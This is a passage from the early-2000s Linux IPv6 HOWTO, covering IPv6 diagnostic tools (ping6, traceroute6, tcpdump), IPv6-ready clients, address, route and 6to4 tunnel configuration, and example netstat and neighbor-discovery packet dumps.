# ping6 [-I <device>] <link-local-ipv6address>

Example

# ping6 -c 1 ::1
PING ::1(::1) from ::1 : 56 data bytes
64 bytes from ::1: icmp_seq=0 hops=64 time=292 usec
--- ::1 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max/mdev = 0.292/0.292/0.292/0.000 ms

Hint: ping6 needs raw access to socket and therefore root permissions. So if non-root users cannot use ping6 then there are two possible problems:

  1. ping6 is not in users path (probably, because ping6 is generally stored in /usr/sbin -> add path (not really recommended)

  2. ping6 doesn't execute properly, generally because of missing root permissions -> chmod u+s /usr/sbin/ping6

4.3.1.1. Specifying interface for IPv6 ping

Using link-local addresses for an IPv6 ping, the kernel does not know through which (physically or virtual) device it must send the packet - each device has a link-local address. A try will result in following error message:

# ping6 fe80::212:34ff:fe12:3456
connect: Invalid argument

In this case you have to specify the interface additionally like shown here:

# ping6 -I eth0 -c 1 fe80::2e0:18ff:fe90:9205
PING fe80::212:23ff:fe12:3456(fe80::212:23ff:fe12:3456) from
¬ fe80::212:34ff:fe12:3478 eth0: 56 data bytes
64 bytes from fe80::212:23ff:fe12:3456: icmp_seq=0 hops=64 time=445 usec
--- fe80::2e0:18ff:fe90:9205 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss round-trip
¬ min/avg/max/mdev = 0.445/0.445/0.445/0.000 ms

4.3.2. IPv6 traceroute6

This program is normally included in package iputils. It's a program similar to IPv4 traceroute. But unlike modern IPv4 versions, the IPv6 one still doesn't understand to traceroute using ICMP echo-request packets (which is more accepted by firewalls around than UDP packets to high ports). Below you will see an example:

# traceroute6 www.6bone.net
traceroute to 6bone.net (3ffe:b00:c18:1::10) from 3ffe:ffff:0000:f101::2, 30
¬ hops max, 16 byte packets
 1 localipv6gateway (3ffe:ffff:0000:f101::1) 1.354 ms 1.566 ms 0.407 ms
 2 swi6T1-T0.ipv6.switch.ch (3ffe:2000:0:400::1) 90.431 ms 91.956 ms 92.377 ms
 3 3ffe:2000:0:1::132 (3ffe:2000:0:1::132) 118.945 ms 107.982 ms 114.557 ms
 4 3ffe:c00:8023:2b::2 (3ffe:c00:8023:2b::2) 968.468 ms 993.392 ms 973.441 ms
 5 3ffe:2e00:e:c::3 (3ffe:2e00:e:c::3) 507.784 ms 505.549 ms 508.928 ms
 6 www.6bone.net (3ffe:b00:c18:1::10) 1265.85 ms * 1304.74 ms

4.3.3. IPv6 tracepath6

This program is normally included in package iputils. It's a program like traceroute6 and traces the path to a given destination discovering the MTU along this path. Below you will see an example:

# tracepath6 www.6bone.net
 1?: [LOCALHOST] pmtu 1480
 1: 3ffe:401::2c0:33ff:fe02:14 150.705ms
 2: 3ffe:b00:c18::5 267.864ms
 3: 3ffe:b00:c18::5 asymm 2 266.145ms pmtu 1280
 3: 3ffe:3900:5::2 asymm 4 346.632ms
 4: 3ffe:28ff:ffff:4::3 asymm 5 365.965ms
 5: 3ffe:1cff:0:ee::2 asymm 4 534.704ms
 6: 3ffe:3800::1:1 asymm 4 578.126ms !N
Resume: pmtu 1280

4.3.4. IPv6 tcpdump

On Linux, tcpdump is the major tool for packet capturing. Below you find some examples. IPv6 support is normally built-in in current releases of version 3.6.

tcpdump uses expressions for filtering packets to minimize the noise:

  • icmp6: filters native ICMPv6 traffic

  • ip6: filters native IPv6 traffic (including ICMPv6)

  • proto ipv6: filters tunneled IPv6-in-IPv4 traffic

  • not port ssh: to suppress displaying SSH packets for running tcpdump in a remote SSH session

Also some command line options are very useful to catch and print more information in a packet, mostly interesting for digging into ICMPv6 packets:

  • "-s 512": increase the snap length during capturing of a packet to 512 bytes

  • "-vv": really verbose output

  • "-n": don't resolve addresses to names, useful if reverse DNS resolving isn't working proper

4.3.4.1. IPv6 ping to 3ffe:ffff:100:f101::1 native over a local link

# tcpdump -t -n -i eth0 -s 512 -vv ip6 or proto ipv6
tcpdump: listening on eth0
3ffe:ffff:100:f101:2e0:18ff:fe90:9205 > 3ffe:ffff:100:f101::1: icmp6: echo
¬ request (len 64, hlim 64)
3ffe:ffff:100:f101::1 > 3ffe:ffff:100:f101:2e0:18ff:fe90:9205: icmp6: echo
¬ reply (len 64, hlim 64)

4.3.4.2. IPv6 ping to 3ffe:ffff:100::1 routed through an IPv6-in-IPv4-tunnel

1.2.3.4 and 5.6.7.8 are tunnel endpoints (all addresses are examples)

# tcpdump -t -n -i ppp0 -s 512 -vv ip6 or proto ipv6
tcpdump: listening on ppp0
1.2.3.4 > 5.6.7.8: 2002:ffff:f5f8::1 > 3ffe:ffff:100::1: icmp6: echo request
¬ (len 64, hlim 64) (DF) (ttl 64, id 0, len 124)
5.6.7.8 > 1.2.3.4: 3ffe:ffff:100::1 > 2002:ffff:f5f8::1: icmp6: echo reply (len
¬ 64, hlim 61) (ttl 23, id 29887, len 124)
1.2.3.4 > 5.6.7.8: 2002:ffff:f5f8::1 > 3ffe:ffff:100::1: icmp6: echo request
¬ (len 64, hlim 64) (DF) (ttl 64, id 0, len 124)
5.6.7.8 > 1.2.3.4: 3ffe:ffff:100::1 > 2002:ffff:f5f8::1: icmp6: echo reply (len
¬ 64, hlim 61) (ttl 23, id 29919, len 124)

Prev | Home | Next
IPv6-ready network configuration tools | Up | IPv6-ready programs


IPv6-ready programs

Linux IPv6 HOWTO
Prev Chapter 4. IPv6-ready system check Next

4.4. IPv6-ready programs

Current distributions already contain the most needed IPv6 enabled client and servers. See first on IPv6+Linux-Status-Distribution. If still not included, you can check IPv6 & Linux - Current Status - Applications whether the program is already ported to IPv6 and usable with Linux. For common used programs there are some hints available at IPv6 & Linux - HowTo - Part 3 and IPv6 & Linux - HowTo - Part 4.

Prev | Home | Next
IPv6-ready test/debug programs | Up | IPv6-ready client programs (selection)


IPv6-ready client programs (selection)

Linux IPv6 HOWTO
Prev Chapter 4. IPv6-ready system check Next

4.5. IPv6-ready client programs (selection)

To run the following shown tests, it's required that your system is IPv6 enabled, and some examples show addresses which only can be reached if a connection to the 6bone is available.

4.5.1. Checking DNS for resolving IPv6 addresses

Because of security updates in the last years every Domain Name System (DNS) server should run newer software which already understands the (intermediate) IPv6 address-type AAAA (the newer one named A6 isn't still common at the moment because only supported using BIND9 and newer and also the non-existent support of root domain IP6.ARPA). A simple whether the used system can resolve IPv6 addresses is

# host -t AAAA www.join.uni-muenster.de

and should show something like following:

www.join.uni-muenster.de. is an alias for ns.join.uni-muenster.de.
ns.join.uni-muenster.de. has AAAA address 3ffe:400:10:100:201:2ff:feb5:3806

4.5.2. IPv6-ready telnet clients

IPv6-ready telnet clients are available. A simple test can be done with

$ telnet 3ffe:400:100::1 80
Trying 3ffe:400:100::1...
Connected to 3ffe:400:100::1.
Escape character is '^]'.
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Sun, 16 Dec 2001 16:07:21
GMT Server: Apache/2.0.28 (Unix)
Last-Modified: Wed, 01 Aug 2001 21:34:42 GMT
ETag: "3f02-a4d-b1b3e080"
Accept-Ranges: bytes
Content-Length: 2637
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Connection closed by foreign host.

If the telnet client don't understand the IPv6 address and says something like "cannot resolve hostname", then it's not IPv6-enabled.

4.5.3. IPv6-ready ssh clients

4.5.3.1. openssh

Current versions of openssh are IPv6-ready. Depending on configuring before compiling it has two behavior.

  • --without-ipv4-default: the client tries an IPv6 connect first automatically and fall back to IPv4 if not working

  • --with-ipv4-default: default connection is IPv4, IPv6 connection must be force like following example shows

$ ssh -6 ::1
user@::1's password: ******
[user@ipv6host user]$

If your ssh client doesn't understand the option "-6" then it's not IPv6-enabled, like most ssh version 1 packages.

4.5.3.2. ssh.com

SSH.com's SSH client and server is also IPv6 aware now and is free for all Linux and FreeBSD machine regardless if used for personal or commercial use.

4.5.4. IPv6-ready web browsers

A current status of IPv6 enabled web browsers is available at IPv6+Linux-status-apps.html#HTTP.

Most of them have unresolved problems at the moment

  1. If using an IPv4 only proxy in the settings, IPv6 requests will be sent to the proxy, but the proxy will fail to understand the request and the request fails. Solution: update proxy software (see later).

  2. Automatic proxy settings (*.pac) cannot be extended to handle IPv6 requests differently (e.g. don't use proxy) because of their nature (written in Java-script and well hard coded in source like to be seen in Maxilla source code).

Also older versions don't understand an URL with IPv6 encoded addresses like http://[3ffe:400:100::1]/ (this given URL only works with an IPv6-enabled browser!).

A short test is to try shown URL with a given browser and using no proxy.

4.5.4.1. URLs for testing

A good starting point for browsing using IPv6 is http://www.kame.net/. If the turtle on this page is animated, the connection is via IPv6, otherwise the turtle is static.

Prev | Home | Next
IPv6-ready programs | Up | IPv6-ready server programs


IPv6-ready server programs

Linux IPv6 HOWTO
Prev Chapter 4. IPv6-ready system check Next

4.6. IPv6-ready server programs

In this part of this HOWTO, more client specific issues are mentioned. Therefore hints for IPv6-ready servers like sshd, httpd, telnetd, etc. are shown below in Hints for IPv6-enabled daemons.

Prev | Home | Next
IPv6-ready client programs (selection) | Up | FAQ (IPv6-ready system check)


Different network devices

Linux IPv6 HOWTO
Prev Chapter 5. Configuring interfaces Next

5.1. Different network devices

On a node, there exist different network devices. They can be collected in classes

  • Physically bounded, like eth0, tr0

  • Virtually existing, like ppp0, tun0, tap0, sit0, isdn0, ippp0

5.1.1. Physically bounded

Physically bounded interfaces like Ethernet or Token-Ring are normal ones and need no special treatment.

5.1.2. Virtually bounded

Virtually bounded interfaces always need special support

5.1.2.1. IPv6-in-IPv4 tunnel interfaces

This interfaces are normally named sitx. The name sit is a shortcut for Simple Internet Transition. This device has the capability to encapsulate IPv6 packets into IPv4 ones and tunnel them to a foreign endpoint.

sit0 has a special meaning and cannot be used for dedicated tunnels.

5.1.2.2. PPP interfaces

PPP interfaces get their IPv6 capability from an IPv6 enabled PPP daemon.

5.1.2.3. ISDN HDLC interfaces

IPv6 capability for HDLC with encapsulation ip is already built-in in the kernel

5.1.2.4. ISDN PPP interfaces

ISDN PPP interfaces (ippp) aren't IPv6 enabled by kernel. Also there are also no plans to do that because in kernel 2.5.+ they will be replaced by a more generic ppp interface layer.

5.1.2.5. SLIP + PLIP

Like mentioned earlier, this interfaces don't support IPv6 transport (sending is OK, but dispatching on receiving don't work).

5.1.2.6. Ether-tap device

Ether-tap devices are IPv6-enabled and also stateless configured. For use, the module "ethertap" has to be loaded before.

5.1.2.7. tun devices

Currently not tested by me.

5.1.2.8. ATM

01/2002: Aren't currently supported by vanilla kernel, supported by USAGI extension

5.1.2.9. Others

Did I forget an interface?...

Prev | Home | Next
Configuring interfaces | Up | Bringing interfaces up/down


Bringing interfaces up/down

Linux IPv6 HOWTO
Prev Chapter 5. Configuring interfaces Next

5.2. Bringing interfaces up/down

Two methods can be used to bring interfaces up or down.

5.2.1. Using "ip"

Usage:

# ip link set dev <interface> up
# ip link set dev <interface> down

Example:

# ip link set dev eth0 up
# ip link set dev eth0 down

5.2.2. Using "ifconfig"

Usage:

# /sbin/ifconfig <interface> up
# /sbin/ifconfig <interface> down

Example:

# /sbin/ifconfig eth0 up
# /sbin/ifconfig eth0 down

Prev | Home | Next
Different network devices | Up | Configuring IPv6 addresses


Displaying existing IPv6 addresses

Linux IPv6 HOWTO
Prev Chapter 6. Configuring IPv6 addresses Next

6.1. Displaying existing IPv6 addresses

First you should check, whether and which IPv6 addresses are already configured (perhaps auto-magically during stateless auto-configuration).

6.1.1. Using "ip"

Usage:

# /sbin/ip -6 addr show dev <interface>

Example for a static configured host:

# /sbin/ip -6 addr show dev eth0
2: eth0: <BROADCAST,MULTICAST,UP&gt; mtu 1500 qdisc pfifo_ fast qlen 100
inet6 fe80::210:a4ff:fee3:9566/10 scope link
inet6 3ffe:ffff:0:f101::1/64 scope global
inet6 fec0:0:0:f101::1/64 scope site

Example for a host which is auto-configured

Here you see some auto-magically configured IPv6 addresses and their lifetime.

# /sbin/ip -6 addr show dev eth0
3: eth0: <BROADCAST,MULTICAST,PROMISC,UP&gt; mtu 1500 qdisc pfifo_fast qlen
¬ 100
inet6 2002:d950:f5f8:f101:2e0:18ff:fe90:9205/64 scope global dynamic
valid_lft 16sec preferred_lft 6sec
inet6 3ffe:400:100:f101:2e0:18ff:fe90:9205/64 scope global dynamic
valid_lft 2591997sec preferred_lft 604797sec inet6 fe80::2e0:18ff:fe90:9205/10
¬ scope link

6.1.2. Using "ifconfig"

Usage:

# /sbin/ifconfig <interface>

Example (output filtered with grep to display only IPv6 addresses). Here you see different IPv6 addresses with different scopes.

# /sbin/ifconfig eth0 |grep "inet6 addr:"
inet6 addr: fe80::210:a4ff:fee3:9566/10 Scope:Link
inet6 addr: 3ffe:ffff:0:f101::1/64 Scope:Global
inet6 addr: fec0:0:0:f101::1/64 Scope:Site

Prev | Home | Next
Configuring IPv6 addresses | Up | Add an IPv6 address


Add an IPv6 address

Linux IPv6 HOWTO
Prev Chapter 6. Configuring IPv6 addresses Next

6.2. Add an IPv6 address

Adding an IPv6 address is similar to the mechanism of "IP ALIAS" addresses in Linux IPv4 addressed interfaces.

6.2.1. Using "ip"

Usage:

# /sbin/ip -6 addr add <ipv6address>/<prefixlength> dev <interface>

Example:

# /sbin/ip -6 addr add 3ffe:ffff:0:f101::1/64 dev eth0

6.2.2. Using "ifconfig"

Usage:

# /sbin/ifconfig <interface> inet6 add <ipv6address>/<prefixlength>

Example:

# /sbin/ifconfig eth0 inet6 add 3ffe:ffff:0:f101::1/64

Prev | Home | Next
Displaying existing IPv6 addresses | Up | Removing an IPv6 address


Removing an IPv6 address

Linux IPv6 HOWTO
Prev Chapter 6. Configuring IPv6 addresses Next

6.3. Removing an IPv6 address

Not so often needed, be carefully with removing non existent IPv6 address, sometimes using older kernels it results in a crash.

6.3.1. Using "ip"

Usage:

# /sbin/ip -6 addr del <ipv6address>/<prefixlength> dev <interface>

Example:

# /sbin/ip -6 addr del 3ffe:ffff:0:f101::1/64 dev eth0

6.3.2. Using "ifconfig"

Usage:

# /sbin/ifconfig <interface> inet6 del <ipv6address>/<prefixlength>

Example:

# /sbin/ifconfig eth0 inet6 del 3ffe:ffff:0:f101::1/64

Prev | Home | Next
Add an IPv6 address | Up | Configuring normal IPv6 routes


Displaying existing IPv6 routes

Linux IPv6 HOWTO
Prev Chapter 7. Configuring normal IPv6 routes Next

7.1. Displaying existing IPv6 routes

First you should check, whether and which IPv6 addresses are already configured (perhaps auto-magically during auto-configuration).

7.1.1. Using "ip"

Usage:

# /sbin/ip -6 route show [dev <device>]

Example:

# /sbin/ip -6 route show dev eth0
3ffe:ffff:0:f101::/64 proto kernel metric 256 mtu 1500 advmss 1440
fe80::/10             proto kernel metric 256 mtu 1500 advmss 1440
ff00::/8              proto kernel metric 256 mtu 1500 advmss 1440
default               proto kernel metric 256 mtu 1500 advmss 1440

7.1.2. Using "route"

Usage:

# /sbin/route -A inet6

Example (output is filtered for interface eth0). Here you see different IPv6 routes for different addresses on a single interface.

# /sbin/route -A inet6 |grep -w "eth0"
3ffe:ffff:0:f101 ::/64 :: UA  256 0 0 eth0 <- Interface route for global
¬ address
fe80::/10        ::       UA  256 0 0 eth0 <- Interface route for link-local
¬ address
ff00::/8         ::       UA  256 0 0 eth0 <- Interface route for all multicast
¬ addresses
::/0             ::       UDA 256 0 0 eth0 <- Automatic default route

Prev | Home | Next
Configuring normal IPv6 routes | Up | Add an IPv6 route through a gateway


Add an IPv6 route through a gateway

Linux IPv6 HOWTO
Prev Chapter 7. Configuring normal IPv6 routes Next

7.2. Add an IPv6 route through a gateway

Mostly needed to reach the outside with IPv6 using an IPv6-enabled router on your link.

7.2.1. Using "ip"

Usage:

# /sbin/ip -6 route add <ipv6network>/<prefixlength> via <ipv6address>
¬ [dev <device>]

Example:

# /sbin/ip -6 route add 2000::/3 via 3ffe:ffff:0:f101::1

7.2.2. Using "route"

Usage:

# /sbin/route -A inet6 add <ipv6network>/<prefixlength> gw
¬ <ipv6address> [dev <device>]

A device can be needed, too, if the IPv6 address of the gateway is a link local one.

Following shown example adds a route for all currently global addresses (2000::/3) through gateway 3ffe:ffff:0:f101::1

# /sbin/route -A inet6 add 2000::/3 gw 3ffe:ffff:0:f101::1

Prev | Home | Next
Displaying existing IPv6 routes | Up | Removing an IPv6 route through a gateway


Removing an IPv6 route through a gateway

Linux IPv6 HOWTO
Prev Chapter 7. Configuring normal IPv6 routes Next

7.3. Removing an IPv6 route through a gateway

Not so often needed manually, mostly done by network configure scripts on shutdown (full or per interface)

7.3.1. Using "ip"

Usage:

# /sbin/ip -6 route del <ipv6network>/<prefixlength> via <ipv6address>
¬ [dev <device>]

Example:

# /sbin/ip -6 route del 2000::/3 via 3ffe:ffff:0:f101::1

7.3.2. Using "route"

Usage:

# /sbin/route -A inet6 del <network>/<prefixlength> [dev <device>]

Example for removing upper added route again:

# /sbin/route -A inet6 del 2000::/3 gw 3ffe:ffff:0:f101::1

Prev | Home | Next
Add an IPv6 route through a gateway | Up | Add an IPv6 route through an interface


Add an IPv6 route through an interface

Linux IPv6 HOWTO
Prev Chapter 7. Configuring normal IPv6 routes Next

7.4. Add an IPv6 route through an interface

Not often needed, sometimes in cases of dedicated point-to-point links.

7.4.1. Using "ip"

Usage:

# /sbin/ip -6 route add <ipv6network>/<prefixlength> dev <device>
¬ metric 1

Example:

# /sbin/ip -6 route add 2000::/3 dev eth0 metric 1

Metric "1" is used here to be compatible with the metric used by route, because the default metric on using "ip" is "1024".

7.4.2. Using "route"

Usage:

# /sbin/route -A inet6 add <network>/<prefixlength> dev <device>

Example:

# /sbin/route -A inet6 add 2000::/3 dev eth0

Prev | Home | Next
Removing an IPv6 route through a gateway | Up | Removing an IPv6 route through an interface


Removing an IPv6 route through an interface

Linux IPv6 HOWTO
Prev Chapter 7. Configuring normal IPv6 routes Next

7.5. Removing an IPv6 route through an interface

Not so often needed to use by hand, configuration scripts will use such on shutdown.

7.5.1. Using "ip"

Usage:

# /sbin/ip -6 route del <ipv6network>/<prefixlength> dev <device>

Example:

# /sbin/ip -6 route del 2000::/3 dev eth0

7.5.2. Using "route"

Usage:

# /sbin/route -A inet6 del <network>/<prefixlength> dev <device>

Example:

# /sbin/route -A inet6 del 2000::/3 dev eth0

Prev | Home | Next
Add an IPv6 route through an interface | Up | FAQ for IPv6 routes


FAQ for IPv6 routes

Linux IPv6 HOWTO
Prev Chapter 7. Configuring normal IPv6 routes Next

7.6. FAQ for IPv6 routes

7.6.1. Support of an IPv6 default route

One idea of IPv6 was a hierachical routing, therefore only less routing entries are needed in routers.

There are some issues in current Linux kernels:

7.6.1.1. Clients

Client can setup a default route like prefix "::/0", they also learn such route on autoconfiguration e.g. using radvd on the link like following example shows:

# ip -6 route show | grep ^default
default via fe80::212:34ff:fe12:3450 dev eth0 proto kernel metric 1024 expires
¬ 29sec mtu 1500 advmss 1440

7.6.1.2. Routers on packet forwarding

Current mainstream Linux kernel (at least <= 2.4.17) don't support default routes. You can set them up, but the route lookup fails when a packet should be forwarded (normal intention of a router).

Therefore at this time "default routing" can be setup using the currently only global address prefix "2000::/3".

The USAGI project already supports this in their extension with a hack.

Note: take care about default routing without address filtering on edge routers. Otherwise unwanted multicast or site-local traffic leave the edge.

Prev | Home | Next
Removing an IPv6 route through an interface | Up | Configuring IPv6-in-IPv4 tunnels


Types of tunnels

Linux IPv6 HOWTO
Prev Chapter 8. Configuring IPv6-in-IPv4 tunnels Next

8.1. Types of tunnels

There are more than one possibility to tunnel IPv6 packets over IPv4-only links.

8.1.1. Static point-to-point tunneling: 6bone

A point-to-point tunnel is a dedicated tunnel to an endpoint, which knows about your IPv6 network (for backward routing) and the IPv4 address of your tunnel endpoint and defined in RFC 2893 / Transition Mechanisms for IPv6 Hosts and Routers. Requirements:

  • IPv4 address of your local tunnel endpoint must be static, global unique and reachable from the foreign tunnel endpoint

  • A global IPv6 prefix assigned to you (see 6bone registry)

  • A foreign tunnel endpoint which is capable to route your IPv6 prefix to your local tunnel endpoint (mostly remote manual configuration required)

8.1.2. Automatically tunneling

Automatic tunneling occurs, when a node directly connects another node gotten the IPv4 address of the other node before.

8.1.3. 6to4-Tunneling

6to4 tunneling (RFC 3056 / Connection of IPv6 Domains via IPv4 Clouds) uses a simple mechanism to create automatic tunnels. Each node with a global unique IPv4 address is able to be a 6to4 tunnel endpoint (if no IPv4 firewall prohibits traffic). 6to4 tunneling is mostly not a one-to-one tunnel. This case of tunneling can be divided into upstream and downstream tunneling. Also, a special IPv6 address indicates that this node will use 6to4 tunneling for connecting the world-wide IPv6 network

8.1.3.1. Generation of 6to4 prefix

The 6to4 address is defined like following (schema is taken from RFC 3056 / Connection of IPv6 Domains via IPv4 Clouds):

|   3+13   |    32     |    16  |            64 bits             |
+---+------+-----------+--------+--------------------------------+
|  FP+TLA  |  V4ADDR   | SLA ID |           Interface ID         |
|  0x2002  |           |        |                                |
+---+------+-----------+--------+--------------------------------+

Where FP is the known prefix for global addresses, TLA is the top level aggregator. V4ADDR is the node's global unique IPv4 address (in hexadecimal notation). SLA is the subnet identifier (65536 local subnets possible).

Such prefix is generated and normally using SLA "0000" and suffix "::1" assigned to the 6to4 tunnel interface.

8.1.3.2. 6to4 upstream tunneling

The node has to know to which foreign tunnel endpoint its in IPv4 packed IPv6 packets should be send to. In "early" days of 6to4 tunneling, dedicated upstream accepting routers were defined. See NSayer's 6to4 information for a list of routers.

Nowadays, 6to4 upstream routers can be found auto-magically using the anycast address 192.88.99.1. In the background routing protocols handle this, see RFC 3068 / An Anycast Prefix for 6to4 Relay Routers for details.

8.1.3.3. 6to4 downstream tunneling

The downstream (6bone -> your 6to4 enabled node) is not really fix and can vary from foreign host which originated packets were send to. There exist two possibilities:

  • Foreign host uses uses 6to4 and sends packet direct back to your node (see below)

  • Foreign host sends packets back to the world-wide IPv6 network and depending on the dynamic routing a relay router create a automatic tunnel back to your node.

8.1.3.4. Possible 6to4 traffic

  • from 6to4 to 6to4: is normally directly tunneled between the both 6to4 enabled hosts

  • from 6to4 to non-6to4: is sent via upstream tunneling

  • non-6to4 to 6to4: is sent via downstream tunneling

Prev | Home | Next
Configuring IPv6-in-IPv4 tunnels | Up | Displaying existing tunnels


Displaying existing tunnels

Linux IPv6 HOWTO
Prev Chapter 8. Configuring IPv6-in-IPv4 tunnels Next

8.2. Displaying existing tunnels

8.2.1. Using "ip"

Usage:

# /sbin/ip -6 tunnel show [<device>]

Example:

# /sbin/ip -6 tunnel show
sit0: ipv6/ip remote any local any ttl 64 nopmtudisc
sit1: ipv6/ip remote 195.226.187.50 local any ttl 64

8.2.2. Using "route"

Usage:

# /sbin/route -A inet6

Example (output is filtered to display only tunnels through virtual interface sit0):

# /sbin/route -A inet6 | grep "\Wsit0\W*$"
::/96      ::               U   256  2  0  sit0
2002::/16  ::               UA  256  0  0  sit0
2000::/3   ::193.113.58.75  UG    1  0  0  sit0
fe80::/10  ::               UA  256  0  0  sit0
ff00::/8   ::               UA  256  0  0  sit0

Prev | Home | Next
Types of tunnels | Up | Setup of point-to-point tunnel


/proc filesystem

Linux IPv6 HOWTO
Prev Chapter 10. Kernel settings Next

10.1. /proc filesystem

To be filled with following content next: switches forwarding and autoconf behavior, acceptance of router advertisements and more.

10.1.1. Entries in /proc/net/

To be filled...

10.1.2. Entries in /proc/sys/net/

To be filled...

Prev | Home | Next
Kernel settings | Up | Netlink


Netlink

Linux IPv6 HOWTO
Prev Chapter 10. Kernel settings Next

10.2. Netlink

To be filled...

Prev | Home | Next
/proc filesystem | Up | Network debugging


Server socket binding

Linux IPv6 HOWTO
Prev Chapter 11. Network debugging Next

11.1. Server socket binding

11.1.1. Using "netstat" for server socket binding check

It's always interesting which server sockets are currently active on a node. Using "netstat" is a short way to get such information:

Used options: -nlptu

Example:

# netstat -nlptu
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
¬ PID/Program name
tcp        0      0 0.0.0.0:32768           0.0.0.0:*               LISTEN
¬ 1258/rpc.statd
tcp        0      0 0.0.0.0:32769           0.0.0.0:*               LISTEN
¬ 1502/rpc.mountd
tcp        0      0 0.0.0.0:515             0.0.0.0:*               LISTEN
¬ 22433/lpd Waiting
tcp        0      0 1.2.3.1:139             0.0.0.0:*               LISTEN
¬ 1746/smbd
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN
¬ 1230/portmap
tcp        0      0 0.0.0.0:6000            0.0.0.0:*               LISTEN
¬ 3551/X
tcp        0      0 1.2.3.1:8081            0.0.0.0:*               LISTEN
¬ 18735/junkbuster
tcp        0      0 1.2.3.1:3128            0.0.0.0:*               LISTEN
¬ 18822/(squid)
tcp        0      0 127.0.0.1:953           0.0.0.0:*               LISTEN
¬ 30734/named
tcp        0      0 ::ffff:1.2.3.1:993      :::*                    LISTEN
¬ 6742/xinetd-ipv6
tcp        0      0 :::13                   :::*                    LISTEN
¬ 6742/xinetd-ipv6
tcp        0      0 ::ffff:1.2.3.1:143      :::*                    LISTEN
¬ 6742/xinetd-ipv6
tcp        0      0 :::53                   :::*                    LISTEN
¬ 30734/named
tcp        0      0 :::22                   :::*                    LISTEN
¬ 1410/sshd
tcp        0      0 :::6010                 :::*                    LISTEN
¬ 13237/sshd
udp        0      0 0.0.0.0:32768           0.0.0.0:*
¬ 1258/rpc.statd
udp        0      0 0.0.0.0:2049            0.0.0.0:*
¬ -
udp        0      0 0.0.0.0:32770           0.0.0.0:*
¬ 1502/rpc.mountd
udp        0      0 0.0.0.0:32771           0.0.0.0:*
¬ -
udp        0      0 1.2.3.1:137             0.0.0.0:*
¬ 1751/nmbd
udp        0      0 0.0.0.0:137             0.0.0.0:*
¬ 1751/nmbd
udp        0      0 1.2.3.1:138             0.0.0.0:*
¬ 1751/nmbd
udp        0      0 0.0.0.0:138             0.0.0.0:*
¬ 1751/nmbd
udp        0      0 0.0.0.0:33044           0.0.0.0:*
¬ 30734/named
udp        0      0 1.2.3.1:53              0.0.0.0:*
¬ 30734/named
udp        0      0 127.0.0.1:53            0.0.0.0:*
¬ 30734/named
udp        0      0 0.0.0.0:67              0.0.0.0:*
¬ 1530/dhcpd
udp        0      0 0.0.0.0:67              0.0.0.0:*
¬ 1530/dhcpd
udp        0      0 0.0.0.0:32858           0.0.0.0:*
¬ 18822/(squid)
udp        0      0 0.0.0.0:4827            0.0.0.0:*
¬ 18822/(squid)
udp        0      0 0.0.0.0:111             0.0.0.0:*
¬ 1230/portmap
udp        0      0 :::53                   :::*
¬ 30734/named

Prev | Home | Next
Network debugging | Up | Examples for tcpdump packet dumps


Examples for tcpdump packet dumps

Linux IPv6 HOWTO
Prev Chapter 11. Network debugging Next

11.2. Examples for tcpdump packet dumps

Here some examples of captured packets are shown, perhaps useful for your own debugging...

...more coming next...

11.2.1. Router discovery

11.2.1.1. Router advertisement

15:43:49.484751 fe80::212:34ff:fe12:3450 > ff02::1: icmp6: router
¬ advertisement(chlim=64, router_ltime=30, reachable_time=0,
¬ retrans_time=0)(prefix info: AR valid_ltime=30, preffered_ltime=20,
¬ prefix=2002:0102:0304:1::/64)(prefix info: LAR valid_ltime=2592000,
¬ preffered_ltime=604800, prefix=3ffe:ffff:0:1::/64)(src lladdr:
¬ 0:12:34:12:34:50) (len 88, hlim 255)

Router with link-local address "fe80::212:34ff:fe12:3450" send an advertisement to the all-node-on-link multicast address "ff02::1" containing two prefixes "2002:0102:0304:1::/64" (lifetime 30 s) and "3ffe:ffff:0:1::/64" (lifetime 2592000 s) including its own layer 2 MAC address "0:12:34:12:34:50"

11.2.1.2. Router solicitation

15:44:21.152646 fe80::212:34ff:fe12:3456 > ff02::2: icmp6: router solicitation
¬ (src lladdr: 0:12:34:12:34:56) (len 16, hlim 255)

Node with link-local address "fe80::212:34ff:fe12:3456" and layer 2 MAC address "0:12:34:12:34:56" is looking for a router on-link, therefore sending this solicitation to the all-router-on-link multicast address "ff02::2".

11.2.2. Neighbor discovery

11.2.2.1. Neighbor discovery solicitation for duplicate address detection

Following packets are sent by a node with layer 2 MAC address "0:12:34:12:34:56" during autoconfiguration to check whether a potential address is already used by another node on the link sending this to the solicited-node link-local multicast address

  • Node wants to configure its link-local address "fe80::212:34ff:fe12:3456", checks for duplicate now

15:44:17.712338 :: > ff02::1:ff12:3456: icmp6: neighbor sol: who has
¬ fe80::212:34ff:fe12:3456(src lladdr: 0:12:34:12:34:56) (len 32, hlim 255)

  • Node wants to configure its global address "2002:0102:0304:1:212:34ff:fe12:3456" (after receiving advertisement shown above), checks for duplicate now

15:44:21.905596 :: > ff02::1:ff12:3456: icmp6: neighbor sol: who has
¬ 2002:0102:0304:1:212:34ff:fe12:3456(src lladdr: 0:12:34:12:34:56) (len 32,
¬ hlim 255)

  • Node wants to configure its global address "3ffe:ffff:0:1:212:34ff:fe12:3456" (after receiving advertisement shown above), checks for duplicate now

15:44:22.304028 :: > ff02::1:ff12:3456: icmp6: neighbor sol: who has
¬ 3ffe:ffff:0:1:212:34ff:fe12:3456(src lladdr: 0:12:34:12:34:56) (len 32, hlim
¬ 255)

11.2.2.2. Neighbor discovery solicitation for looking for host or gateway

  • Note wants to send packages to "3ffe:ffff:0:1::10" but has no layer 2 MAC address to send packet, so send solicitation now

13:07:47.664538 2002:0102:0304:1:2e0:18ff:fe90:9205 > ff02::1:ff00:10: icmp6:
¬ neighbor sol: who has 3ffe:ffff:0:1::10(src lladdr: 0:e0:18:90:92:5) (len 32,
¬ hlim 255)

  • Node looks for "fe80::10" now

13:11:20.870070 fe80::2e0:18ff:fe90:9205 > ff02::1:ff00:10: icmp6: neighbor
¬ sol: who has fe80::10(src lladdr: 0:e0:18:90:92:5) (len 32, hlim 255)

Prev | Home | Next
Server socket binding | Up | Support for persistent IPv6 configuration in Linux distributions


Red Hat Linux and "clones"

Linux IPv6 HOWTO
Prev Chapter 12. Support for persistent IPv6 configuration in Linux distributions Next

12.1. Red Hat Linux and "clones"

